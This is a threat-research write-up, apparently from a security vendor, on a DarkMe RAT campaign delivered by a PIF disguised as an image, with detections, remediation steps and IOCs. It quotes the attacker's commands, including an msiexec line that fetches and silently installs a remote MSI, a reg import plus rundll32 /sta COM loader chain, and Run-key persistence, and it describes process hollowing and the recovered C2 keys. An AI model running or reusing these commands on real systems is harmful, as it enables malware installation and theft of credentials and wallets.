Background
DarkMe, a Visual Basic 6 (VB6) spy trojan and remote access tool became well known in February 2024 for its use of zero days to deliver malware. But this malware family was first observed in September 2021 and publicly documented a year later by NSFOCUS under "Operation DarkCasino" attributed to a group called EvilNum. Researchers at Trend Micro and SonicWall have also tied this malware, with the usual attribution caveats, to Water Hydra, an APT group with the unusual profile of chasing money rather than espionage. Its campaigns are typically financially motivated, targeting forex traders, stock-trading forums, online gambling platforms, and cryptocurrency users.
What made the DarkMe malware notable was the delivery. In 2023, Water Hydra weaponised the WinRAR extension-spoofing flaw CVE-2023-38831 as a zero day, dropping malicious archives on trading forums. In late 2023 and early 2024, Water Hydra pivoted to CVE-2024-21412, a Defender SmartScreen bypass built on a shortcut-that-points-to-another-shortcut (yes, this was a thing), staged over a WebDAV share behind a crafted Explorer view.
But our story picks up from the Huntress threat hunting team's POV, and this tradecraft is nearly unrecognisable. There is no exploit here at all. A hunting rule picked up some odd activity around a program information file (PIF) launching Windows Installer. Everything downstream of that PIF is textbook DarkMe, but everything before is frankly, boring. We thought this was an interesting story to tell, nevertheless, as it illustrates a larger trend of advanced threat actors opting for less sophisticated initial access methods to broaden their targeting.
Figure 1: An overview of the attack chain employed by this new DarkMe campaign
Technical breakdown
Initial access: a photo that wasn't
The delivery came through a link in a plain old social engineering malspam email:
Figure 2: Phishing email delivering PIF disguised as an image
Although the link in the email pointed to https://readonline365[.]com/view/image.png
, a URL for a graphics file, the webserver delivered image.pif
, a Windows executable.
Figure 3: The Properties sheet describes the file as a "Shortcut to MS-DOS program" but the file is, itself, an executable.
The .pif
extension, a relic of the DOS era, refers to "program information file." Modern Windows systems execute .pif
files as a program, regardless of what the extension implies (or what the icon shows).
Figure 4: When renamed with a .exe extension, the Details tab on the file's Properties sheet reveals previously concealed forged information that implies the file is a component of a security product called Aegis Sentinel, but it is unrelated to that product.
The same, identical file, a 1 MB PE32+ binary, was delivered to two Huntress customer envrionments. The users simply double-clicked and downloaded the file, not realising what it was.
Figure 5: image.pif download and execution
Staging: msiexec, an exemsi wrapper, and a script
The PIF's only job is to invoke the Microsoft installer, msiexec
, to download and execute an .msi
installer file hosted on an attacker-registered web address. It executed this command to do so:
msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
Fetching a remote MSI over HTTPS with /quiet
is rare in most environments, because legitimate installers almost never live in the root of an otherwise empty domain.
The MSI itself is a giveaway. Its metadata identifies it as built with the exemsi
"MSI Wrapper" (version 11.0.53.0), packaged under the cover name "PrinterFind Softwares," with a creation date of January 11, 2024. The wrapper's benign scaffolding is all present:
MsiCustomActions.dll
newdev.exe
stubBZ.RUN_BEFORE_INSTALL_FILE
set towScript.exe
In other words, the installer's purpose is to expand a Windows Cabinet archive file and run a script. EXPAND.EXE -R files.cab
drops the components into %AppData%\ComponentsFolder\
, and the installer executes prnfig.wsf
.
Figure 6: DarkMe components installed in a folder named ComponentsFolder
Figure 7: prnfig.wsf, the staging script, showing the file copies, the registry-template rewrite, and the reg import plus rundll32 /sta handoff.
Reading prnfig.wsf
opens a clear window into the operator's intent. The Windows Script Host file does four things:
Copies every dropped file into
%AppData%\ComponentsFolder\
Copies only
clspack.exe
into%AppData%\Microsoft\
, staging the hollowing target where a signed Microsoft binary looks least out of placeWrites a template for making changes to the Windows Registry
Fires the loader
The dropped filetext.txt
is a Registry template that registers the COM object as @="Coconout.dll"
. The script reads it, substitutes the full %AppData%\ComponentsFolder\Coconout.dll
path (including the name of the local user account in the path), escapes the backslashes for a .reg
import, and writes the result to filetext2.txt
. It then sleeps 1.5 seconds and runs:
cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
Figure 8: The filetext.txt Registry template for import
That import registers a COM server under HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}
, with ProgID Coconout.Primary
and InprocServer32
pointing at Coconout.dll
.
The loader: Rundll32.exe and three Visual Basic 6 loaders
The command that initiates the final stage of infection, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
, was observed in the 2024 campaign, and is a great signature to detect or hunt on. The /sta
flag runs the registered COM object in a single-threaded apartment (STA) via IShellRunDll::Run
, a lesser-known execution path that sidesteps detections keyed on the usual rundll32 ,
syntax.
Notably, the DLL path never appears on the command line, only an opaque UUID.
From there, the chain runs through three VB6 loaders, each of which is an obfuscation layer calling a named export in the next:
Coconout.dll
is the stage-1 COM loader, which loads stage 2 and calls itsFillText
export.Use.dll
→FillText
is stage 2, where the anti-sandbox (and VM detection) gate and persistence live. The gate enumerates the host looking for a long list of applications the operator cares about; When a machine fails the check, execution simply stops.Finalized.dll
→Calculation
is stage 3, which profiles the host, decrypts the payload, and hollows a signed binary.
Figure 9: Functions from the Finalized.dll component include "Calculation" and the DLL's internal name, VBDLLDemo.EXE
A closer look at the loader DLLs
Figure 10: A breakdown of the three DLLs
All the DLLs share a resemblance within the file details. It appears these were built together: Every one of them reports its language as Spanish (Spain, International Sort), an indicator the attacker's VB6 integrated development environment (IDE) was set to Spanish. Stages 2 and 3 both carry the original filename Proyecto 1.dll
, the untouched VB6 default, while stage 1 was renamed to Coconout.dll
to match the COM registration it needed to answer to. The product name splits the same way: Use.dll
and Finalized.dll
are both built under YourConfig
, Coconout.dll
under ProjectOwner
. All three leave the description and copyright fields empty.
Figure 11: Details from all three DLLs show they were compiled on a Spanish-localized development system
Stage 1: Coconout.dll, the COM entry point
Coconout.dll
is the smallest of the three at 28 KB and the only real COM server. It exports exactly the four functions a DLL needs and no export of its own, because it is not called by name: it is instantiated by CLSID. The /sta
path is built in rather than incidental, since Coconout.dll
implements IShellRunDll
, which is the interface rundll32.exe /sta {CLSID}
looks for.
Strings are plain UTF-16 and give away the purpose of this binary: \ComponentsFolder\Use.dll
, the export FillText
, and the fallback Warning: Use.dll not loaded - using defaults
. The load sits in a retry loop, three attempts 50 milliseconds apart. All three loaders declare and never call a good number of APIs, then declare blocks copied wholesale from a sample file or similar and trimmed at the source level but not at the declaration level.
Inside Coconout.dll
is an interesting build artifact:
Figure 12: An interesting build string left behind in Coconout.dll
The presence of bada (Italian for "mind," as in be careful) within the developer's folder structure aligns with prior threat intelligence linking DarkMe with a mix of Italian and Spanish linguistic artifacts across their codebase and operational history.
Stage 2: Use.dll, the gate and the persistence
Use.dll
is where the first interesting logic lives, and where the operator hid the most. Running strings
returns little of value, just VB6 runtime imports and a set of random nine-character class and module names (ysmzkrxox
, zxefmxxdi
, tnblrypyr
) that look like the output of a name-randomising obfuscator.
Widen to UTF-16 with a tool like FLOSS and the persistence mechanism appears:
Software\Microsoft\Windows\CurrentVersion\Run
Software\Classes\Locked\shell\open\command
URL:Locked Protocol
explorer.exe
"Locked://Newest"
the full
rundll32.exe /sta {CFDC57BA-...}
command line
The author obfuscated the target list (below) and their internal debug logging but left the registry paths readable.
The rest is stored as hex-encoded ASCII inside UTF-16 string literals, decoded at runtime and invisible to a scanner looking for readable text. The decoder is one function shared by all three DLLs, and essentially is just bytes.fromhex()
over every all-hex UTF-16 literal, revealing 374 hidden strings out of stage 2 and four out of stage 3.
Those strings document the malware's behaviour in the operator's own words. Stage 2 keeps a running debug log (Integrity check passed. Found Finalized.dll., ERROR: Failed to load Finalized.dll from any location
) written to %TEMP%\Zeta_Component.log
, timestamped line by line. It only appears when DebugMode
is set to 1
under HKCU\Software\Locked\Config
.
The same decoded strings spell out the stage-3 handoff, and it is built to survive partial cleanup: Stage 2 looks for \ComponentsFolder\Finalized.dll
, failing that \System32\Finalized.dll
, and if the Calculation
export is missing it falls back to one named Calculate
.
The 329-application gate
The centrepiece of stage 2 is a list of 329 unique executable names.
Figure 13: The Use.dll component contains an extensive list of software it is interested in
Many of the listed programs include what you would expect a cryptostealer to be interested in:
Wallets (
metamask.exe
,ledger live.exe
,trezor suite.exe)
,Password managers (
keepass.exe
,bitwarden.exe
)Trading terminals (the MetaTrader 5 toolchain,
ninjatrader.exe
),Online poker clients that fit DarkMe's historical targeting (
pokerstars.exe
,partypoker.exe
,888poker.exe
)
Then the list keeps going, well past anything usually considered worth stealing:
Chat and videoconferencing clients
17 separate customer-support consoles
VPN clients (including
mullvad-deamon.exe
—the operator's typo, not ours)Game launchers, including League of Legends, Roblox, Steam, Epic, Ubisoft, Battle.net, CounterStrike, and Rocket League
Spotify.exe
andvlc.exe
Browsers, email clients, PDF readers, photo editors, time trackers, and miscellaneous utilities
A list of OEM and peripheral support utilities, from a dozen variations of Lenovo Vantage to
razersynapse.exe
,icue.exe
, andrgbfusion.exe
That last category reframes the whole list. Gaming-mouse configuration utilities and RGB lighting daemons hold nothing of value, but they do prove that a human being uses this computer. That appears to be the function of the list, because the decoded control string give it away:
No protected apps found - exiting FillText
Execution stops when none of the 329 are found. This is not a target list; it is an inverted sandbox check. A conventional evasion check looks for analysis tooling and bails when it finds it, but this list contains no analysis tools. Rather than asking "am I being watched?", DarkMe asks whether anyone actually uses this system. A bare analysis VM with no Steam, no Razer drivers and no Slack fails the check and the malware exits having done nothing worth reporting, which is a durable trick precisely because it cannot be fixed by hiding your debugger.
Interestingly, Use.dll
imports nothing but the VB6 runtime, yet it declares CreateToolhelp32Snapshot
, Process32First
, and Process32Next
as late-bound Declare
statements whose target names sit in the binary as plain ASCII rather than in the import directory. So the gate walks the live process list, making it a point-in-time test rather than a survey of what the host has installed.
Persistence, written before the payload loads
The gate runs first, and the registry writes sit after the process gate, the writes go through the same late-bound route, RegCreateKeyExA
and RegSetValueExA
from advapi32
, in two sequences:
Create
HKCU\Software\Classes\Locked
, set its default value toURL:Locked Protocol
, add the emptyURL Protocol
marker that tells Windows this is a URI scheme, then write therundll32.exe /sta {CFDC57BA-...}
command line intoHKCU\Software\Classes\Locked\shell\open\command
Create
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
and write the valueLocked
, whose data isexplorer.exe "Locked://Newest"
That second step names the Run
value for the first time. Both steps of the parent-masking trick are written here, in one function. This is worth keeping in mind when remediating, as removing the Run
value without also removing the Locked
class registration leaves the relaunch path intact (and vice versa).
Stage 3: Finalized.dll, profiling and RunPE
Finalized.dll
is the largest of the three at 1.1 MB and exports Calculation
, the entry point stage 2 calls. Decoding the hex UTF-16 literal strings, stage 3 hides four strings:
APPDATA
\ComponentsFolder\company.cer
Nobodygoingout
\Microsoft\clspack.exe
Figure 14: A hexadecimal-encoded string implies a lonely night at home for someone
Those four strings hint at the purpose of this binary; APPDATA
is the environment variable the other two paths are resolved against, giving %AppData%\ComponentsFolder\company.cer
to read the payload from and %AppData%\Microsoft\clspack.exe
to target. That second path closes a loop from the much earlier prnfig.wsf
as it copied clspack.exe
into %AppData%\Microsoft\
at install time precisely so stage 3 would find a signed Microsoft binary waiting: Nobodygoingout
, the remaining string, which initially appears to be the key that decrypts company.cer
payload.
Figure 15: How the Finalized.dll component completes the infection
Once again the declared APIs help us fill in the blanks:
CreateProcessA
ZwUnmapViewOfSection from ntdll
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
VirtualProtectEx
RtlMoveMemory
GetThreadContext
SetThreadContext
ResumeThread
That is the go-to process-hollowing chain. Stage 3 declares no registry API, no process enumeration, and no network API. It only reads the payload, injects it into clspack.exe
and then exits.
The first job of Finalized.dll:Calculation
is building a host-profile report from seven Environ$()
calls and rendering it in four formats (INI, XML, an HTML System Report, and a Windows registry export), alongside a broader survey of hardware, services, policy, display and locale keys.
Nobodygoingout, and the RC4 that isn't
Nobodygoingout
is the key that decrypts the payload. Stage 3 reads company.cer
, runs it through a single decryption step keyed with that string, and hands the decrypted PE straight to the hollowing routine.
The decryptor looks like your typical RC4 decryption loop, but is actually broken in one specific way.
Figure 16: Reconstructed broken RC4 routine
What follows is real cryptography nerd stuff, if you would rather not spend four paragraphs trying to understand RC4, here is the short version: the author tried to implement RC4, left out one line, and turned an RC4 encrypt function into an XOR by 0x02
.
Those two lines are the whole loop body. Real RC4 fills S
with the identity before the loop and swaps S(i)
with S(j)
inside it. This version has no swap at all, and initialises S(i)
in the same iteration that reads it, after reading it. So S(i)
always reads zero, S
finishes as the plain identity permutation, and the 2,048 bits of state RC4 relies on never come into existence. Everything the key contributes survives as one 8-bit scalar, which for Nobodygoingout
is the number 172.
What is left generates the keystream by doubling that single byte, state = (2 * state + 1) MOD 256
, and taking (2 * state) MOD 254
as the output. That recurrence has a fixed point: from any starting value, state
is dragged to 255 within eight steps, after which the output byte is 2
forever.
This is why every published description of DarkMe records the payload as a plain single-byte XOR with 0x02
. It is not a single-byte XOR by design. It is a keyed stream cipher whose state annihilates itself seven bytes in.
Those seven bytes are the part everyone has been throwing away. Starting from state = 172
, the recurrence emits b2 68 ce a0 40 7e 00
before it collapses, and XORing that against company.cer
opens the file 4d 5a 90 00 03 00 00 00
, the canonical MS-DOS stub, exact to the byte. The header was never stubbed, contradicting what has been reported previously. Those seven keystream bytes are the DOS header, and they are the only bytes in a 22.5 MB payload the key actually protects. The shortcut everyone uses instead, XOR 0x02
throughout and hand-patch MZ
over the front, leaves five wrong bytes in legacy fields Windows ignores, so it still loads and still analyses correctly but yields a different hash: e34bb5f7...
against the correct 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76
.
Process hollowing into a signed Microsoft binary
With the payload "decrypted," stage 3 hollows out clspack.exe
, a legitimate Microsoft-signed binary (the "Zip Package Creation Tool") that the staging script had already copied into %AppData%\Microsoft\
. The sequence is standard RunPE:
CreateProcess
in a suspended stateZwUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
SetThreadContext
ResumeThread
Because the host process is genuinely signed, signature- and reputation-based controls see a trusted Microsoft executable, while the code running inside it is anything but.
Figure 17: The Hollows Hunter utility finds process hollowing present in the clspack.exe component
A signed Microsoft binary executing from %AppData%\Microsoft\
rather than System32
is anomalous regardless of its signature, and it is a cleaner detection opportunity than trying to catch the injection itself.
The payload: DarkMe, confirmed
Inside the hollowed process runs a VB6 stealer and RAT, internal project name Officially
or PartiallyesOnes
. Multi-stage stealer-RATs that decrypt and unpack themselves across several loaders are a pattern we have pulled apart before, most recently in our reverse-engineering of MacSync Stealer; this DarkMe variant is its Windows VB6 cousin.
The incidents' telemetry pointed to capabilities that line up with previously reported DarkMe tradecraft:
Cryptocurrency wallet theft (MetaMask, Ledger, Exodus, Trezor, Phantom),
Screenshot capture via GDI+
Antivirus enumeration through the WMI query
SELECT * FROM AntivirusProduct
Full file manipulation and arbitrary command execution over a custom TCP channel implemented on
wsock32
The big giveaway for DarkMe is that its C2 verbs are Spanish- and Italian-derived mnemonics, and both Trend Micro and SonicWall published an identical list. Ours match:
SHLEXE
(execute shell command)ZIPALO
("zip it")COPALO
("copy it")PASALO
("pass it")DELMAP
(delete directory)STRFLS
(enumerate a directory)
Taken with the single-byte-XOR payload and the full structural chain (remote MSI, CAB to %AppData%
, reg import
of a dropped text file, rundll32 /sta {CLSID}
, VB6 loaders calling named exports, and hollowing of a signed binary copied in from a disguised file), we feel confident that this is DarkMe.
Recovering the HIDING C2 sample
DarkMe does not store its C2 in the clear; the domain is RC4-encrypted (with a working RC4 algo this time) and tucked inside a Visual Basic form as a text-box value, decrypted at runtime with a hardcoded key. Prior reporting is useful here for a reason worth noting up front: SonicWall and Trend Micro both recovered the same RC4 key, noway123!$$#@35@!
, from campaigns six months apart, which made it look like a durable artifact and a reliable pivot.
That wasn't the case for us. Pulling the RC4 blob out of our sample's form resources yielded a different but similar key: onlywayhere23!$$#@!!35@!12
. Decrypting the C2 domain configuration points to thatawful[.]boutique
, which resolves to a C2 at 67.43.50[.]11:7712
.
Figure 18: Memory dumps from the process-hollowed clspack.exe expose the C2 domain
This means we are looking at a fresh build generated from the same underlying code/toolkit rather than a recycled binary from 2024.
Figure 19: The RC4-encrypted C2 domain in VBReFormer
Analysis via Censys on 67.43.50[.]11
(hosted via Voxility/ColoGuys in Prague) reveals a sloppy Windows Server deployment exposing a wealth of remote management ports, including RDP (3389), WinRM (5985, 47001), and DCERPC (135). The RDP service even leaks the machine's default Windows hostname WIN-78P55T5IL26
via a self-signed TLS certificate.
Interestingly, the standard web ports (80 and 443) on this IP aren't serving up a typical C2 panel; instead, the Nginx server issues a 302 redirect, sending visitors to a sketchy adware tracking link on effectivecpmnetwork[.]com
. Combined with the discovery of another domain (megchartedbk7[.]com
) resolving to the exact same IP.
Figure 20: The RC4-decrypted C2 scanned via Censys
Figure 21: Hardcoded port for C2 traffic in VBReFormer
The malware includes a hardcoded port that presents another detection opportunity. Our samples all communicated over port 7712, a non-standard port rarely associated with legitimate business applications.
Flagging or blocking outbound egress to TCP 7712 provides a simple, low-noise signal for identifying active C2 sessions from this RAT.
Persistence: hiding behind Explorer
Persistence is a single HKCU Run key, but with a wrinkle that appears to be new is rather than re-invoking rundll32
directly, the value is:
explorer.exe "Locked://Newest"
Locked://
is a custom URL-protocol handler the malware registers under HKCU\Software\Classes\Locked\shell\open\command
, and following it lands right back at rundll32.exe /sta {CFDC57BA-...}
, the top of the loader chain. Routing the relaunch through explorer.exe
and a bespoke protocol handler masks the parent process at logon, so the malicious rundll32
appears to descend from Explorer rather than from a Run key directly.
OSINT: Time to go digging
VirusTotal records seven domains serving this .pif
file in the wild, and working through them resolves to five genuine delivery hosts:
storageonline[.]me
readonline365[.]com
viewdocument[.]live
advancedfuturetechnology[.]com
sharedfuturetech[.]com
Four were still serving the identical binary, 394c93df…
, byte-for-byte when we fetched them. The other two had moved on by then, advancedfuturetechnology[.]com
apparently suspended by its provider and sharedfuturetech[.]com
returning a 404 with the payload pulled, though VirusTotal caught both serving live in August.
The paths varied (/pictures/image.png
, /view/image.png
, /SCAN_2026-0698494.pif
) while the payload never changed. Two hosts served the PE as text/plain
, and both .png
and .pdf
URLs answered with a 301 straight to the .pif
.
Hosting splits in two: three domains on Ultahost in Frankfurt, and two Hostinger WordPress sites. Those WordPress hosts could be hijacked but viewdocument[.]live
is entirely starter-template content. The domain was registered 16:02 UTC on March 1, 2026, with nine demo posts created at 16:31:28 in under half an hour. Interestingly, their API leaks the user account, whose display name falls back to a Gmail address because the nickname was never set.
readonline365[.]com
also has directory listing switched on, which is how we ended up reading the operator's working directory, both campaign lure filenames with matching hashes, a 148-byte test INF that does nothing but run calc.exe
, a 64 KB VB6 sibling build, and a 27 MB PNG carrying 19,222,574 bytes appended past its IEND
EOF marker. That last one is similar to the payload-in-an-image trick this campaign used, but neither key we recovered opens it, so it's likely part of a separate campaign.
Figure 22: The open directory containing payloads on readonline365[.]com
Finally, sharedfuturetech[.]com
had pulled its DarkMe payload by the time we fetched it, but the host was not idle. Its root serves a fake software-crack page that walks the visitor through a bogus install asking them to paste a command into PowerShell, a technique we call ClickFix. This delivers a different family entirely with its own loader and C2, which appears to be an Efimer-derived stealer, a family documented by Kaspersky. We are treating it as a separate campaign.
Figure 23: sharedfuturetech[.]com using a ClickFix-style lure to get the user to run a malicious command
Two things put this page in context:
A TLS error on the same host gives up a certificate for a machine-generated co-resident domain
Its certificate history leads to a cluster of sites imitating banks, cryptocurrency platforms, and streaming services, five of which serve a byte-identical copy of that same crack page.
The domain sharedfuturetech[.]com
was serving unrelated executables back in March 2026, five months before this campaign. So one server was monetising two distinct operations at once, on infrastructure that predates the DarkMe activity by months.
At the time of writing, the live staging server, with an open directory listing and verified payload on disk, scored 0 malicious out of 52 engines on VirusTotal. AbuseIPDB rates every address 0% confidence, GreyNoise has no classification, and abuse.ch has no records. Cheap shared hosting on clean domains is enough to stay under reputation-based blocking entirely, so detection here has to come from the hashes and behaviour below, not from an IOC feed.
Figure 24: The DarkMe adversary infrastructure as mapped through VirusTotal Graph
Mitigation guidance and remediations
Hunt the execution chain (cheap queries with high signal)
Alert on
rundll32.exe
invoked with/sta
and a GUID but no DLL path on the command line. This is central to every documented DarkMe generation and is rare in legitimate use.Alert on
msiexec
fetching a remote MSI over HTTP/S (a URL argument to /i). Rare and high-signal in most estates.Alert on
reg.exe import
of a file from a user-writable path, especially%AppData%
. Legitimate software almost never does this.Alert on
wscript.exe
orcscript.exe
executing a.wsf
from%AppData%
, and on either spawningreg.exe
orrundll32.exe
.
Catch the masquerade and the hollowing
Alert on execution of
.pif
files. Legitimate use on modern Windows is essentially nonexistent.Alert on signed Microsoft binaries such as
clspack.exe
running from%AppData%
rather thanSystem32/SysWOW64
.Enumerate
HKCU\Software\Classes\*\shell\open\command
for non-standard protocol handlers, and Run-key values that invokeexplorer.exe
with a custom URI scheme. This catches theLocked://
parent-masking variant.
Contain and clean up
Isolate the host, terminate the hollowed
clspack.exe
, and remove theComponentsFolder
and%AppData%\Microsoft\clspack.exe
artifacts.Delete the persistence: the
HKCU...\CurrentVersion\Run
value and theHKCU\Software\Classes\Locked
andCLSID {CFDC57BA-...}
registrations. A reboot is required to fully complete the removal.Reset credentials for the affected user, and treat any cryptocurrency wallet used on the host as compromised, assuming seed phrases are exposed.
Block
onlineview365[.]com
,readonline365[.]com
, andthatawful[.]boutique / 67.43.50[.]11
.
Conclusion
We're not suggesting that DarkMe is somehow less sophisticated in its capabilities than two years ago; we're pointing out that now it doesn't have to be. The same VB6 loader chain, the same COM invocation, and the same hollowing into a signed binary that Water Hydra shipped behind two zero days turned up here behind a .pif
and a double-click. Everything expensive about the old delivery; the WinRAR flaw, the SmartScreen bypass, the WebDAV staging, and the crafted Explorer view was gone, and none of it was missed. A file that Windows will run on sight asks nothing of the attacker but a convincing email.
Dropping the zero days didn't weaken this campaign. Instead, it made the operation cheaper, highly scalable, and easier to point at a broader audience. That explains the shift in targeting from niche forex traders to everyday corporate users. It's a familiar, but frustrating narrative; we are watching threat actors pivot from highly skilled, targeted intrusions toward high-volume, low-effort attacks and the results speak for themselves. In 2026, users are still clicking links in unsolicited emails. As long as these old-school phishing tactics keep working, adversaries have no reason to burn expensive exploits.
Indicators of Compromise (IOCs)
Disk and memory artifacts
Value | Description |
|---|---|
SHA256: | Initial dropper, masquerading as an image |
SHA256: |
|
SHA256: | Staging VBScript |
SHA256: | Registry import for COM registration |
SHA256: | Loader stage 1 (COM) |
SHA256: | Loader stage 2, anti-sandbox gate + persistence (export |
SHA256: | Loader stage 3, RunPE (export |
SHA256: | Encrypted payload, 7 byte key then single-byte XOR |
SHA256: | Legitimate signed Microsoft binary, hollowed to host the RAT |
| Registered COM server ( |
| Associated type library |
| Component staging directory |
| Custom |
| Logon persistence value (T1547.001) |
Network / Infrastructure
Type | Value | Description |
|---|---|---|
Domain |
| MSI staging host ( |
Domain |
| Delivery/redirect host (observed on second incident) |
Domain |
| RC4-decrypted C2 domain; not resolving at time of writing |
IP:Port |
| C2 endpoint |
RC4 key |
| Decrypts the C2 string from the RAT's VB form (differs from the public builder key) |